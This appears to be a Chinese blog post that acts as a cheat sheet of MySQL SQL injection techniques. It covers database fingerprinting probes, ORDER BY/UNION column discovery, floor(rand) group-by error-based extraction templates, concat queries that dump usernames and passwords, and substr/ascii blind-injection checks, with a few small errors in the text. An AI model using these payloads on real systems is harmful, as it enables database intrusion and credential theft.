mysql注入 检查函数_mysql中的基本注入函数

1. 常见数据库注入函数:

MYSQL: and length((user))>10

ACCESS: and (select count() from MSysAccessObject)>0

MSSQL: and (select count()from sysobjects)>0

ORDER BY句子:

select id,username,password from users where id = 1 order by 1,2,3,4依次测试,从而判断有几列存在,得知列数,拿union来联合查询

UNION查询:

联合查询,大部分数据库都支持联合查询(UNION)

MYSQL,SQL sever,Oracle

UNION合并两个查询结果集的基本规则

所有查询中的列数基本相同

数据类型必须兼容

sql_sever常用函数:

9680b91181ce57d17466b824cecefc22.png

as : 别名

顺便说几个常见的:

rand: 遵循四舍五入把原值转化为指定小数位数

floor: 向下舍入为指定小数位数

ceiling: 向上舍入为指定小数位数

rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值

group by: GROUP BY必须得配合聚合函数来用,根据字段来分类使用

select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))

select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a

原理:简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来

2. 字符串连接函数

concat函数,返回结果为链接参数的字符串。如果任何一个参数为null,则返回值为null。

注意:

如果结果为连接参数产生的字符串。如果有任何一个参数为null,则返回为null

如果自变量中含有任意一个二进制字符串,则结果为一个二进制字符串

concat()将其连接成一个字符串,因此不会复合XPATH_STRING的个数,从而出现格式错误

concat concat_ws group_concat

select concat(id,'|',username,'|',password)from users;以分隔符拼接出来结果

select concat_ws('|',id,username,password)from users;

select group_concat('\n',username)from users;

3. 字符串截取函数:

locate:返回第一个字符串首次在第二个字符串出现的位置 # 正确为1,错误为0

select substr((select username from users limit0,1),1,2); # 从user取出dump字段,截取2位,就是du

length(database()) #判断数据库的长度

left(database(),1) = 's' #前一位是否为

select user() regexp 'r' #正则表达式匹配

select user like 'ro%' #匹配符

ascii() #返回指定数字对应的ascii码字符函数

substr() #截取从pos位置开始到最后的所有str字符串

select ascii (substr(select database(),1,1)); #截取数据库库名第一个字母是否为security,ascii('s')=115

4. 常用函数

聚合函数:SQL注入最多的函数

user()查看当前Mysql登录用户名 database():查看当前使用Mysql数据库名

version():查看当前Mysq版本

扩展limit关键字 limit m,n 从m行开始,到m+n行

5. 常见注入叫法:

post注入:注入字段在post数据中

cookie注入:注入字段在cookie数据中

延时注入:使用数据库延时特性注入

搜索注入:注入处为搜索的地点

base64注入:注入字符串需要经过base64的加密

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值